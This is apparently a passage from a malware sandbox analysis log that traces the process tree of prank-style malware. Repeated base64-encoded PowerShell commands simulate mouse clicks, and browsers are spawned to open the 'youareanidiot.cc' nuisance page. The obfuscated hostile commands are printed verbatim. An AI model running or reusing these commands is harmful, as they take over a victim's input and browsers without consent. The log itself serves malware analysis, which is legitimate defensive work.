QBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6096
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7260
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:2580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3632
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:5912
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x134,0x138,0x13c,0x110,0x140,0x7ffef166c728,0x7ffef166c734,0x7ffef166c740
        5⤵
        
        PID:7028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7652
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:8128
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:8092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7088
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7524
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffef166c728,0x7ffef166c734,0x7ffef166c740
        5⤵
        
        PID:7912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
